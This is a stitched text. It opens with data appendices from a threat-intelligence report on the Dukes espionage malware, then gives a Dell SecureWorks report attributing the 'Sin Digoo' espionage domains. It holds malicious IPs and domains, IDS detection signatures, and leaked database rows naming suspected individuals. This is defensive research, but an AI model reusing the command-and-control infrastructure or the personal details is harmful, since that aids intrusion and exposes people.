CozyDuke Malware SHA1 hashes 01d3973e1bb46e2b75034736991c567862a11263 04aefbf1527536159d72d20dea907cbd080793e3 0e020c03fffabc6d20eca67f559c46b4939bb4f4 1e5f6a5624a9e5472d547b8aa54c6d146813f91d 207be5648c0a2e48be98dc4dc1d5d16944189219 23e20c523b9970686d913360d438c88e6067c157 25b6c73124f11f70474f2687ad1de407343ac025 32b0c8c46f8baaba0159967c5602f58dd73ebde9 446daabb7ac2b9f11dc1267fbd192628cc2bac19 482d1624f9450ca1c99926ceec2606260e7ce544 49fb759d133eeaab3fcc78cec64418e44ed649ab 5150174a4d5e5bb0bccc568e82dbb86406487510 543783df44459a3878ad00ecae47ff077f5efd7b 6b0721a9ced806076f84e828d9c65504a77d106c 6e00b86a2480abc6dbd971c0bf6495d81ed1b629 78e9960cc5819583fb98fb619b33bff7768ee861 7e9eb570ef07b793828c28ca3f84177e1ab76e14 8099a40b9ef478ee50c466eb65fe71b247fcf014 87668d14910c1e1bb8bbea0c6363f76e664dcd09 8b357ff017df3ed882b278d0dbbdf129235d123d 8c3ed0bbdc77aec299c77f666c21659840f5ce23 93d53be2c3e7961bc01e0bfa5065a2390305268c 93ee1c714fad9cc1bf2cba19f3de9d1e83c665e2 9b56155b82f14000f0ec027f29ff20e6ae5205c2 b65aa8590a1bac52a85dbd1ea091fc586f6ab00a bdd2bae83c3bab9ba0c199492fe57e70c6425dd3 bf265227f9a8e22ea1c0035ac4d2449ceed43e2b bf9d3a45273608caf90084c1157de2074322a230 c3d8a548fa0525e1e55aa592e14303fc6964d28d c6472898e9085e563cd56baeb6b6e21928c5486d ccf83cd713e0f078697f9e842a06d624f8b9757e dea73f04e52917dc71cc4e9d7592b6317e09a054 e0779ac6e5cc76e91fca71efeade2a5d7f099c80 e76da232ec020d133530fdd52ffcc38b7c1d7662 e78870f3807a89684085d605dcd57a06e7327125 e99a03ebe3462d2399f1b819f48384f6714dcba1 ea0cfe60a7b7168c42c0e86e15feb5b0c9674029 eb851adfada7b40fc4f6c0ae348694500f878493 f2ffc4e1d5faec0b7c03a233524bb78e44f0e50b f33c980d4b6aaab1dc401226ab452ce840ad4f40 f7d47c38eca7ec68aa478c06b1ba983d9bf02e15 32 APPENDIX I Data listings OnionDuke Malware SHA1 hashes 073faad9c18dbe0e0285b2747eae0c629e56830c 145c5081037fad98fa72aa4d6dc6c193fdb1c127 16b632b4076a458b6e2087d64a42764d86b5b021 1e200fbb02dc4a51ea3ede0b6d1ff9004f07fe73 22bae6be13561cec758d25fa7adac89e67a1f33a 25e0af331b8e9fed64dc0df71a2687be348100e8 3bf6b0d49b8e594f8b59eec98942e1380e16dd22 42429d0c0cade08cfe4f72dcd77892b883e8a4bc 5ccff14ce7c1732fadfe74af95a912093007357f 61283ef203f4286f1d366a57e077b0a581be1659 6b3b42f584b6dc1e0a7b0e0c389f1fbe040968aa 6b631396013ddfd8c946772d3cd4919495298d40 7b3652f8d51bf74174e1e5364dbbf901a2ebcba1 7d17917cb8bc00b022a86bb7bab59e28c3453126 7d871a2d467474178893cd017e4e3e04e589c9a0 7efd300efed0a42c7d1f568e309c45b2b641f5c2 91cb047f28a15b558a9a4dff26df642b9001f8d7 9a277a63e41d32d9af3eddea1710056be0d42347 a75995f94854dea8799650a2f4a97980b71199d2 b3873d2c969d224b0fd17b5f886ea253ac1bfb5b b491c14d8cfb48636f6095b7b16555e9a575d57f c1ec762878a0eed8ebf47e122e87c79a5e3f7b44 cce5b3a2965c500de8fa75e1429b8be5aa744e14 d433f281cf56015941a1c2cb87066ca62ea1db37 e09f283ade693ff89864f6ec9c2354091fbd186e e519198de4cc8bcb0644aa1ab6552b1d15c99a0e f2b4b1605360d7f4e0c47932e555b36707f287be f3dcbc016393497f681e12628ad9411c27e57d48 SeaDuke Malware SHA1 hashes 3459d9c27c31c0e8b2ea5b21fdc200e784c7edf4 aa7cf4f1269fa7bca784a18e5cecab962b901cc2 bb71254fbd41855e8e70f05231ce77fee6f00388 HammerDuke Malware SHA1 hashes 42e6da9a08802b5ce5d1f754d4567665637b47bc CloudDuke Malware SHA1 hashes 04299c0b549d4a46154e0a754dda2bc9e43dff76 10b31a17449705be20890ddd8ad97a2feb093674 2e27c59f0cf0dbf81466cc63d87d421b33843e87 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 44403a3e51e337c1372b0becdab74313125452c7 47f26990d063c947debbde0e10bd267fb0f32719 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 7b8851f98f765038f275489c69a485e1bed4f82d 84ba6b6a0a3999c0932f35298948f149ee05bc02 910dfe45905b63c12c6f93193f5dc08f5b012bc3 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 d7f7aef824265136ad077ae4f874d265ae45a6b0 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd fe33b9f95db53c0096ae9fb9672f9c7c32d22acf Data listings APPENDIX I 33 Related IP addresses 128.199.138.233 151.236.23.31 173.236.70.212 176.74.216.14 178.21.172.157 178.63.149.142 184.154.184.83 188.116.32.164 188.241.115.41 188.40.13.99 195.43.94.104 199.231.188.109 212.76.128.149 46.246.120.178 46.246.120.178 5.45.66.134 50.7.192.146 64.18.143.66 66.29.115.55 69.59.28.57 82.146.47.163 82.146.51.22 83.149.74.73 85.17.143.149 87.118.106.55 87.255.77.36 88.150.208.207 91.221.66.242 91.224.141.235 94.242.199.88 96.9.182.37 Related domain names airtravelabroad.com beijingnewsblog.net deervalleyassociation.com greencastleadvantage.com grouptumbler.com juliet.usexy.cc leveldelta.com nasdaqblog.net natureinhome.com nestedmail.com nostressjob.com nytunion.com oilnewsblog.com overpict.com serials.hacked.jp sixsquare.net store.extremesportsevents.net ustradecomp.com Note: the listed IP addresses and domain names are provided for research purposes. While all of them have been associated with the Dukes at some point in time, they may or may not be currently in use by the Dukes. F-Secure detection names Backdoor:W32/MiniDuke. A Trojan-Dropper:W32/MiniDuke. B Exploit:W32/MiniDuke. C Trojan-Dropper:W32/MiniDuke. D Backdoor:W32/MiniDuke. E Backdoor:W32/MiniDuke. F Backdoor:W32/MiniDuke. F Backdoor:W32/MiniDuke. H Backdoor:W32/MiniDuke. I Backdoor:W32/MiniDuke. J Trojan-Dropper:W32/CosmicDuke. A Trojan-PSW:W32/CosmicDuke. B Trojan:W32/CosmicDuke. C Exploit:W32/CosmicDuke. D Exploit:SWF/CosmicDuke. E Trojan-PSW:W32/CosmicDuke. F Trojan-Dropper:W32/CosmicDuke. G Trojan:W32/CosmicDuke. H Trojan:W32/CosmicDuke. I Backdoor:W32/OnionDuke. A Trojan-Dropper:W32/OnionDuke. A Backdoor:W32/OnionDuke. B Trojan:W32/OnionDuke. C Trojan:W32/OnionDuke. D Trojan-PSW:W32/OnionDuke. E Trojan:W32/OnionDuke. F Trojan:W32/OnionDuke. G Trojan:W32/CozyDuke. A Trojan:W32/CozyDuke. B Trojan-Dropper:W32/CozyDuke. C Trojan:W32/CozyDuke. D Trojan:W64/CozyDuke. E Trojan-Downloader:W32/CloudDuke. A Trojan:W32/CloudDuke. B Trojan:W64/CloudDuke. B Backdoor:W32/SeaDuke.
229
A Note: F-Secure also detects various Duke malware components with other detections not specific to the Dukes.
48,006
48,441
436
data/reports_final/0229.txt
A Note: F-Secure also detects various Duke malware components with other detections not specific to the Dukes. Executive summary The story of the Dukes Etymology: a note on names 2008: Chechnya 2009: First known campaigns against the West 2010: The emergence of CosmicDuke in the Caucasus 2011: John Kasai of Klagenfurt, Austria 2011: Continuing expansion of the Dukes arsenal 2012: Hiding in the shadows 2013: MiniDuke flies too close to the sun 2013: The curious case of OnionDuke 2013: The Dukes and Ukraine 2013: CosmicDukes war on drugs 2014: MiniDukes rise from the ashes 2014: CosmicDukes moment of fame and the scramble that ensued 2014: CozyDuke and monkey videos 2014: OnionDuke gets caught using a malicious Tor node 2015: The Dukes up the ante 2015: CloudDuke 2015: Continuing surgical strikes with CosmicDuke Tools and techniques of the Dukes PinchDuke GeminiDuke CosmicDuke MiniDuke CozyDuke OnionDuke SeaDuke HammerDuke CloudDuke Infection vectors Decoys Exploitation of vulnerabilities Attribution and state-sponsorship Bibliography Appendix I: Data listings The Sin Digoo Affair URL:http://www.secureworks.com/research/threats/sindigoo/ Date: 29 February 2012 Author: Joe Stewart, Director of Malware Research, Dell SecureWorks Counter Threat Unit Research Team We cannot enter into informed alliances until we are acquainted with the designs of our neighbors and the plans of our adver- saries. - Sun Tzu, The Art of War Introduction The story of the Sin Digoo affair begins with a set of Internet domain registrations dating back to 2004. Between 2004 and 2011, a person using the email address jeno_1980hotmail.com registered several domains using the names Tawnya Grilth and Eric Charles. Curiously, all of the Tawnya Grilth domains showed the registrants physical address to be a post office box in the fictional/misspelled town of Sin Digoo, California. Figure 1. Characteristics of domains registered by jeno_1980hotmail.com. In 2006 and 2007, jeno_1980hotmail.com registered a number of domains under the Tawnya Grilth alias that have appeared repeatedly on reports published by various automated malware analysis systems and antivirus websites. The Dell SecureWorks CTUSM research team ex- amined malware samples using these domains and concluded that these domains were involved in a larger pattern of malware-based espi- onage, sometimes referred to as Advanced Persistent Threat (APT) activity. Espionage malware There are two primary malware families involved with the Sin Digoo domains. One is known as Enfal, which is short for EtenFalcon, a string found inside early samples. The involvement of actors using this malware for espionage was first detailed in 2010 in a joint report by the Information Warfare Monitor and the Shadowserver Foundation. The report, titled Shadows in the Cloud: Investigating Cyber Espionage 2.0, was a continuation of research from an earlier report titled Tracking GhostNet: Investigating a Cyber Espionage Network. A later report by antivirus firm Trend Micro titled The LURID Downloader further details a campaign of espionage by this malware against targets world- wide. Figure 2. Sin Digoo connection to Enfal malware. A second family of malware connecting to the Tawnya Grilth domains is less well-known, although a couple of antivirus companies have used the names RegSubsDat, RegSubDat or Kirpich to refer to it. A recent variant was described by the information security firm CyberE- SI in a 2011 blog post titled India-United States Naval Cooperation.doc Analysis. Details regarding the earlier variant used in the Sin Digoo activity was first analyzed in a blog posting by Don C. Weber titled Malware Characteristics Report - Trojan. RegSubsDat. A on his Security Ripcord blog. http://www.secureworks.com/research/threats/sindigoo/ http://www.nartv.org/mirror/shadows-in-the-cloud.pdf http://www.nartv.org/mirror/ghostnet.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf http://www.cutawaysecurity.com/blog/archives/593 Figure 3. Sin Digoo connection to RegSubsDat malware Although windowsaupdate.com is not a Tawnya Grilth domain according to the WHOIS data, the name is almost certainly related to the do- main windowsaupdate.net, especially given the same subdomain naming pattern (e.g., v4, v12, v14). Victim discovery CTU analysts sinkholed a number of the Tawnya Grilth domains in 2011 and 2012. Traffic from infected victim computers is now sent to servers that log connections, gather statistics, and notify victims when possible. The initial findings from the sinkholing activity are: 1. Between 100 and 200 computers located in Vietnam, Brunei, and Myanmar are infected by RegSubsDat. Analysis of the IP addresses con- necting to the sinkhole show that many are government ministries. Additionally, more than one regional petroleum company and a newspaper has been infected. 2. A handful of victim computers in Europe and the Middle East are infected by RegSubsDat, Enfal, and one other unknown trojan. These computers belong to government ministries in different countries, an embassy, a nuclear safety agency, and other business-related groups. Additionally, there is an embassy located inside mainland China that is infected. The CTU researchers have notified many of the national computer security incident response teams (CSIRTs) in the countries where infections were detected and are continuing this notification process. The notifications include the necessary information to locate victims within the country, inform the victims, and mitigate the infections. Link to RSA breach In addition to the GhostNet link, connections can also be drawn between the malware used in the Sin Digoo activity and the RSA breach re- vealed in early 2011. According to the US-CERT EWIN-11-077 bulletin, a number of command-and-control (C2) hostnames used by RegSubs- Dat shared three different IP addresses at different points in time, with one of the hostnames known to be part of the RSA breach. This C2 hostname was used in a piece of malware known as Murcy, which was detailed in Command and Control in the Fifth Domain, a 2012 re- port by Command Five Pty Ltd. Figure 4. Connection between the RegSubsDat malware and the Murcy malware. All three IP addresses belong to the China Beijing Province Network (AS4808). Although the RegSubsDat and Murcy C2s shared these IPs a few months apart, the fact that three IP different addresses at the same ISP overlapped in a short time frame seems to indicate shared infra- structure used by both the RSA breach actors and other actors using the RegSubsDat malware. AS4808 is known for many other connections to malware and is considered by some to be a hotbed of espionage C2s, especially the 123.120.96.0/19, 114.248.80.0/20 and 114.248.96.0/20 sub- nets. These subnets have been seen in DNS records for hundreds of C2 hostnames for dozens of custom malware families, either known for or http://www.rsa.com/node.aspx?id3872 http://www.occ.treas.gov/news-issuances/alerts/2011/alert-2011-4.html http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf suspected in espionage activity. The RegSubsDat asia-online.us domain was registered by an unknown actor using the email address king_publichotmail.com. A 2011 blog posting by Cyb3rsleuth traced this email address to a social media profile created by a person living in Beijing named Wang Liang Chen. The same email address was used to register many other RegSubsDat domains as well. The social media profile for king_publichotmail.com has since been deleted. Tracking Tawnya The same type of open-source intelligence can be used to gather information about the jeno_1980hotmail.com actor. One domain registered by jeno_1980hotmail.com is socialup.net. This site describes a like exchange, which is a service that Internet marketers can use to promote a story on social media sites like Digg or Reddit. Figure 5. Screenshot of the socialup.net interface. This type of service falls under the category of blackhat SEO, a term for a variety of techniques for manipulating search engines and social media sites for marketing purposes. These methods are considered blackhat because they usually lead to a site or user being banned from the search engine or social media sites if the manipulation is discovered. The socialup.net website has been repeatedly promoted on blackhat SEO message boards by various personas, including one named Tawnya. Figure 6. Example of Tawnya promoting socialup.net. http://cyb3rsleuth.blogspot.com/2011/08/chinese-threat-actor-identified.html Once a user signs up with socialup.net, they can earn virtual coins. The coins can be used to promote the users websites or social media posts, either by viewing ads or liking other users stories and links. A user can also buy coins from the owner of socialup.net using PayPal. Figure 7. Example of interface to purchase coins. As part of the PayPal transaction, the potential customer can see the payee email address. In the case of socialup.net, PayPals website shows that the payment for the socialup.net coins is sent to an individual with the initials jzd. Figure 8. Order summary for coins showing payee information. One of the other Tawnya Grilth domains is i-tobuy.com. This domain was registered in 2004 using the jeno_1980hotmail.com email ad- dress and Sin Digoo location, but the nickname xxgchappy is also shown in the registrant contact data. Figure 9. Registrant contact data for i-tobuy.com. Another domain registered in 2004 using the Sin Digoo location was 1stsale.net, registered to a john twk with the email address xxgchap- pyvip.sina.com. Figure 10. Registrant contact data for 1stsale.net. There is a profile on a Chinese programmers forum for an xxgchappy user who has posted two different email addresses in different mes- sages on the site. These addresses are xxgchappyvip.sina.com and sina.com.cn (address redacted). The users name is listed on the fo- rums profile page for xxgchappy and contains the initials ZD. Figure 11. Profile for xxgchappy. Figure 12. Tracing the connections between socialup.net, i-tobuy.com, and 1stsale.net. Several clues on the Internet point to xxgchappy, or ZD, having a working knowledge of computer programming. The use of the program- mers forum, along with postings to that site, indicates he is interested in code related to hooking Windows API functions, a common tech- nique used in malware. Additionally, both xxgchappyvip.sina.com and king_publichotmail.com were the listed email addresses for users of the rootkit.com site, revealed when that sites database was leaked in 2011. A rootkit is a program used for hiding traces of malware on a system, and rootkit.com was a forum for discussing the latest rootkit technolo- gies. However, simply having an account on rootkit.com does not imply one is using rootkits offensively many anti-malware researchers were also members of the site. There are some interesting clues in the database table for both users. The nickname Jeno appears again in the rookit.com user database entry for the user with the email address xxgchappyvip.sina.com. ( 7523,Jeno,91cec994,Jeno Alix,xxgchappyvip.sina.com,1,0, ,,,,,,0,http://www.rootkit.com/usericons/Jeno.jpg, ,1265784473,123.6.89.98,0,0,0,1265721022,0,0,0,,0,,,,-1,), (23025,king-rose,e211f11c0b28434bf7f1c8fb510fa9ae,Club-tom, king_publichotmail.com,1,1106582903,,,,,,,0,, ,1106837367,61.51.59.63,0,0,0,1106583113,0,0,0,BH,19800126, ,,,0,), Figure 13. Database entries with the xxgchappy and king_public email addresses. In the entry for king_publichotmail.com, we see the nicknames king-rose and Club-tom, but even more interesting is the password hash e211f11c0b28434bf7f1c8fb510fa9ae. This password hash appears in only one other entry in the rootkit.com database: (20446,king-z,e211f11c0b28434bf7f1c8fb510fa9ae,k,z,y, wzy_100hotmail.com,1,1097652186,,,,,,,0,,,1284013010, 123.120.127.153,0,0,0,1284013010,0,0,0,,,,,,0,), Figure 14. Other appearance of the password hash associated with king_publichotmail.com. From this evidence, we can deduce that king-z is a second, earlier account of king_publichotmail.com, created using the wzy_100hot- mail.com email address. Even more interesting is the 123.120.127.153 IP address the king-z account used to log in. This IP is located inside one of the AS4808 netblocks famous for espionage activity. In fact, it is remarkably close to 123.120.127.159, an IP used by Enfal C2 v2.win- dowsaupdate.net (one of the Tawnya Grilth domains) on September 27, 2010. The last account activity for king-z as shown in the rootkit.com database is September 9, 2010. This data strongly suggests that king_publichotmail.com is not just a stolen account used to register a domain, but that the user is involved in the espionage network in some manner. The password used by xxgchappyvip.sina.com does not appear elsewhere in the leaked rootkit.com database however, another leaked data- base may provide additional clues surrounding the xxgchappy personality. The sina.com.cn (address redacted) email address associated with the user xxgchappy can be found inside an archive posted to the hackchina.com website. xxgchappy 2710 sina.com.cn Figure 15. xxgchappy reference from the hackchina.com website. The archive contains a denial-of-service attack tool called lankiller. Inside the lankiller binary is the following comment: Designed for lyh by xxgc-happy 2002.3.8 Figure 16. Reference to xxgc-happy in the lankiller tool. Also included in the lankiller archive is a README file that describes the use of the tool. It asks the user to email the author at either sina.com.cn or happysohu.com.cn. Figure 17. Email addresses referenced in the lankiller README file. There is a profile for happy on a Chinese video site showing a possible photo of the user. The photo is of a man who appears to be in his ear- ly twenties and of Asian descent. Conclusion The Sin Digoo activity is only a limited view into a very large amount of espionage-by-malware that is happening in the world. The Enfal, RegSubsDat, and Murcy malware families possess dozens of defunct and active C2s, and these three trojans are only a tiny subset of the mal- ware families the Dell SecureWorks CTU research team knows to be involved in espionage activity. Collaboration between government, espi- onage malware victims, and the computer security industry must improve to better defend against this undercurrent of activity that threatens to undermine an already weakened economy in countries around the world. Appendix A Network IDS signatures alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:GET20 depth:4 pcre:/GET\x20.\x2ftrandocs\x2fnetstate\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111111) alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:GET20 depth:4 pcre:/GET\x20.\x2f(category2data\x2fforumhttpdocs\x2fmmtrandocs\x2fmm). [A-F0-9]2\x2d[A-F0-9]2\x2d[A-F0-9]2\x2d[A- F0-9]2\x2d[A-F0-9]2\x2d[A-F0-9] 2\x2f(showNumberWindowTaskORDERTIPComMand\x2esecCmwhiteComMand\x2esecCommand.txtQuery.txtsunriseTiblueTrblue)\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111112) alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:POST20 depth:5 content:0aReferer3a20 pcre:/POST\x20.\x2fcg[a- z]\x2dbin\x2f(Clnpp5CMS_ClearAllCMS_ListImgCMS_SubitAlldieosn83Dskx8Htrc3InfoOwpp4Owpq4Rwpq1Trpq8Trpq8vip)\x2ecgi\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111113) alert tcp HOME_NET any - any any (msg:Enfal Trojan Activity flow:established,to_server content:POST20 depth:5 pcre:/POST\x20.\d6,12\x2ephp\x20HTTP\x2f1.\r\n\r\n[a-z0-9\x2d]4,15\x3a[A-F0-9]2\x2d[A-F0-9]2\x2d[A-F0-9]2\x2d[A-F0- 9]2\x2d[A-F0-9]2\x2d[A-F0-9]2/s reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111114) alert tcp HOME_NET any - any any (msg:RegSubsDat Trojan Activity flow:established,to_server content:POST20 depth:5 content:2flog20HTTP2f1 pcre:/POST\x20.\x2f[A-F0-9]60000\x2flog\x20HTTP\x2f1/ reference:url,www.secureworks.com/research/threats/sindigoo/ sid:1111111115) Appendix B Malware hashes MD5 signatures for Enfal 0144f8d76662fc382b8eb094eb347e4b 01a5adace93ad5afac400f9589b62607 027d7db3d2a94bb0dfadc71300aaee3e 02857b2b6cc5aa750dbfb6a1088a5239 035f2e58144209ea9973bbe4cad58e15 04cb272bbe383707574005a2999f2fe0 054688eb39ea0cd380bb89b6746abc4f 06572d93d87a8d0fb7e070be79692c87 066be8f9e08acfe8ab1eecb884a73801 071d01bcaadc9df5683a6cfa81736714 084e99653956350210beb13c8ea43c79 09c44fcceb51f9affdb63b0d8f9e4b31 0a5446da47609868101c773e928b36e4 0bbd1f253e928cafa3c9c78cdaa849bd 0c589418274ba97663853d1c6bef3bd1 0ecd791525cc30ced610e81ef67290b0 0ed85a30083fb71452916e14a4b5936a 10162681b64c72834621c6fd68b6501f 106db67336a318b6ee4f3197027df85c 113a066b19737b59ab1e2ad921cf3a03 113bea934d89d0cfdc445489f0eb713d 11696e0f7399986c4978e35f3160c22b 1175fff7b282db3b2b0c8c9517bcd937 11cf5c71ddf9a666d9b470dff21c4ec5 13d82eaadf0a5f6fd2d76b66673efa91 140c69ea9a963100e75497b33820f1da 164e3c7488b70d6db28cf71cbc72b0c2 173ec685aa9f581a03c30866b5021574 17810c2ad162c4726729b3fc3ae8676e 184f2de39a9fcc0039eb9df09c4e75b8 19cddfee52c7b7adf4d5dd3e98e0b0bd 1c1f7b32d5381335b83af545b9eef101 1c2aab24d699c24cec860e73c767bce7 1e95875e6c0f054b62c94d6063ff9eed 1f91d940c42f216cf95e724a034802db 1fa520329a77d01aaaf5808ddf529ce2 21b761b4401d290b9e02fea87f2a9933 2370a2142bc61c520226d188e102a727 241aaa7d73339c1624a27fcce5d1815d 24decc7e98e67e3a6e5d34f284f79124 25710d277596d09e5607f419eb63e11d 272fffde11c97b31cf9de7c1e1816d61 276495490cf16318735f880785203378 2880436cf619a270e6c31d9da6eb426b 289242778ef037e02106a491de38cc1f 2944e486b252112720098860a91788e0 297158cfce8fc76789ca41899f6047ac 2ae27d10e04d229c937c0363c29ed3e8 2bc74b3aff2fd68eb38820bb0760f3a6 2bfd304e3433cb0de9c2f284e9417409 2f2f61d3b8f5064affb11e67ae6320b2 2fd6e2c7fc80ab9a6be6a0eebd09763e 2fdaa46fff13f87dcc22fb9aef9ba338 300dcc10df87a998b08dddd2dbc55a28 30971caaf134d7706c70335f54e3188f 30d075afef4e518f63c0b43b8c764e12 3270d18157131f216468cf7ce53ee8d1 331140c7ffaea93ed807f86720b5929e 331acc687cf2b93fc7bfed257ea54488 33eb9e349ec9e093c54028e7c1cd8b0a 340c9de8ff62134bb0e51c24c0919576 343cef9a8d83afca81918fc317f3ccb8 3447416fbbc65906bd0384d4c2ba479e 34563d4ccf2fdd8a08b05089d82a803b 347906343329916ace3636a541c96f26 34f53d0b59f7cf352aace044abf95df3 35369bf701904b17725429e8cb938645 35ca158ffd5965d68f7ef64ee527a028 3603c2b0262ed71402fe981991ddd614 367459c45eec216b6858e7b2f91e0c99 36b1f9def6a794ae0be8148d149e5fe7 36d10e8d5e95bcfed701df530de2a917 36dccde0de343af9e7f08128900334f2 36e8c4f5b906e2e4cc3d5e64b79b8642 374b6371918ab0ba91e9f3489e5eab19 39762af48276967a54372dca1f89936c 3b159b70f6f6e66db77dd6b57f04ec2f 3b5fdfff3f49f0231586dd4fcca7c25d 3c1c15ac3b1bf3787137685637e33140 3d176273201bb6f07746cd7c5c46166c 3d69e2b0257cebf9bc1a6f788f45fbcb 3e27d880674149d2548b5b36d22570ff 3fd66bcecc804913a016827eba28897a 427259dc60c10ca5586da8d76139cc92 42899a14835c5702af3c2f0abaf64429 4413e592ad3c072fa300f526b83bb644 442c0e4bda0035c34e767d429e7f821b 443ed084c7bb1687825670d0293d3482 453963093fa87f1ecd9be2691d080b0c 45b8270e80fcaa229cfe8e4baf15d9c2 45d07b1a0a6cea3035d448e384b59252 45f565e1b73e723ade1838e2c78867a6 46548ef50b1d64909f77a484bac66de6 46679d05a02e065a5f082d86d7635488 466cbf76ccf76e0a2fb309e9e8433bce 46a9e994658fe49e892c5a5d5740b58a 47bc44ccd673760918c99856a053aca0 48a4a92443dd2595806e9afd76275ea0 48ccdc7a5eec2a0240b28534d501eebb 4943c536c8b06044456af9971a0f54eb 499ad52953d3e12ebcda3f4eec3cad4f 49e0df6cb8abc6d4554829f2cc77ad75 4a828744a96d739815ff40d54bc9d022 4add8281a028c6ea76d369186f787004 4b835d7b89f754f72fa712fd281aa51f 4bb3264ddb68e096bbd11721fea3d2e2 4bc96cf2a63f4bfbc5f24c07329d986d 4cb5033c2b4e19872d2fb98dc9678362 4d84bd418da17f01298df489c251464f 4dc08c921bc81ce89aae397eaa049dda 4f862e38b7db5beebacff59a751b0f59 5098b3d6211a17f315fb33b17e37c9b1 50ecc77c6c831bcd7e0534353f61c479 514c992b5af684efb08ada784f36bce7 57ffbe0560b61ef7da39a29049dfdc45 5b0d5ad64256811a7e8be472f3492d2d 5b382d58d6a890ce696494c304242625 5c26947e42381afa8459b6a91308662e 5c2ebee0d8748e926d015d07c434b409 5c920ea7042f820f46ca8bdeb9a17519 5ccdc66a50b3b101d4038ab23b65196f 5cf7669f0b64b0780159cae4275e75e7 5dbd2ed78f47fd75112b5b8d9a5a2a7d 5f76d78402be896288284c18407957b2 5f84282c7ee466e777665ef72fa258b5 61792bb6aa26ce5e826ee300977825c1 61a605dc9bfcbdc382f528607115b8f1 629dc2675a940e6fd0cfd778f2c3149a 630e9ced15a16aaa464b73481297f40f 63d33065354038eec8b8a386d5bf45bf 6680e19b115c88416b13b5985bf2c32d 66fc71e3f35b3ef21cf524c3be92708c 67ae7ca090aed3841ca1c0ec85d26d2c 687cfc99f09f1cb9b1915135bc57fbbe 68a3e1c03a0ce92a648eea823bfcdd4d 690e6208ccfc960c71175e43c75deee1 6979c05ff1682c6bcff2da5f20350388 69f8825118ea8ab1c671c28298c592aa 6c1fa0a523a751b8d588b75814a46759 6e8994d01ab6837e6baeedbfd9bf45b2 701d95d5d716a726a4316d7352938510 70cf6edb22a2fd5fee7665ad1a260b39 70f167e43ba0c4df744601ace41d29fb 71313fcf3d825ba40375cf62f4777e10 719b1d9e93a6fe2fe0918f029990fbfd 72b9b505ef199fee23db350d6e096340 73802e2bb0c7f821f0959e9a424be35b 744670ca4531f7ceb72a75ae456e8215 74cb2fc990adf24f1da265dd14737d48 7547a4e39ac61eae20c79fa3834d8e2a 7578feae5abb684e691e44a1c82d0b78 7769907450c95de213567408d1c3eb32 79a160fec8c1e34b0188e034dffccfa5 7a1d4cba9ce2a28ef586c27689b5aea7 7a72460b0f3caeaa9a0dd5aa252a3dd5 7bd2cf1a96fe27c301111785799233ea 7c2258469a87138a94eb1a15578df9c1 7c9836391eb08e1cfa33dd1094d2f993 7db483b6dfb3952ce9c29b7bf26e662b 7e0d522932460ea1d9a88a82980b1234 7fd3760a10a79397da3e7f2531a3c165 7fec0946aa04ac5f96c8633565a503a7 80398a1c31cb0fad735d051f22865204 8042b3849217de1ee9181ee9c7338df8 80450d1256eddeece918ef02e9dedcd5 80a8635e966a5fb6924cfd92d18b1829 8198751a915561b30a607b1d2a651f73 81df7dca8b3bb3ae964fa8cfd82de413 81fa811f56247c236566d430ae4798eb 8279af9adb9dcde15f67e4938a32e460 83046fb020b98d6bdc59b6d3135fa293 8330e398c976797e86e23110255774ff 839ead900d516a2fe9ec7dc68c6f91dc 84356ed469c95c1418209bd929640622 84484706048822c4a483d9cdd4ae6136 845f298eeec87f92302146aba04ee108 84a201fa44c3675687ad2b9e3cf0adc1 84b8488ce8d20cab10fe10973429d1b3 84d24967cb5cbacf4052a3001692dd54 85639dd697e36a7eeb7e84e6ddccda46 856de08a947a40e00ea7ed66b8e02c53 858941e84af0d2a102b26497c22265c4 875b9628aee0a7108929ecd57f7e771d 89b61f9100b8135d7356fa864598be7f 89ffcc729bf4b89a298b0dd317228646 8bfc2763ec3141e6215fe9958607b895 8c6d058e3c821ca141cbbbcfe7afe8e8 8ec4fc310915b6db5d62ff476d95fc87 8fbc2220e1f505d3312542ccab2cb103 90506693e1df8190ad657d519551472d 908c8475c451050599909b0212857bbe 90bf1a608159df6c4f11f6366cecb998 912aad79475fd457165b3ae8c362203f 9133dcec65eb468ce226e1fd8accaf4e 923d3c72026a56bb9bc54843a6016854 925cbbd8060770e9175ce0433f03ad81 93cf1393241577797b36d707d4255faa 9604700eb71a14a540ba65429d2f75cd 97769f938619bf888a2750b4f079a134 9883cee2f281ae23c4929e0eba313876 9929a8ba088ec944b07c20e0d38d4355 996cdae702fe1f0b7555764c3f4daadd 99a0e8f84028813def520a9a7791635d 9a09e5acd4050a68ade420fcc79c6c66 9ab8cc0bd5facd7fed939ae8715c0f2f 9ac42be9c350de30415f73471b7ced64 9c909e8f3fdf46d1ab0246218f83dc71 9cc962a7f637aced6117aac78f74bdf5 9d001213c967234aef5207971b3dc084 9d0bc24173b98630f45f6cbb5aef048b 9dda46f5b3be826bf427ad6bbd8171ae 9fe79a8d9901cf773d272b0578c818c7 a03c312ad0309c02e29f3be32738f753 a1a977867a889be58767f3224806aef3 a25a0621c0381bdfe32b3f2ea6975f18 a4cc686615d113aa18e2f984a4d69dc6 a64e9189f49db0c1a1ae53891c8a69ef a6d45978a7736e6265f0243bb14a4f1d a6e2d6112100869191f20f49408c9459 a714c1df854f966161192b77ff2f4cd4 a78f479adda756ecea71246b6398ac4b a83fc05a18e18ba19e93a75ffa6ebd50 a99fb261722f271234c872451512c67f 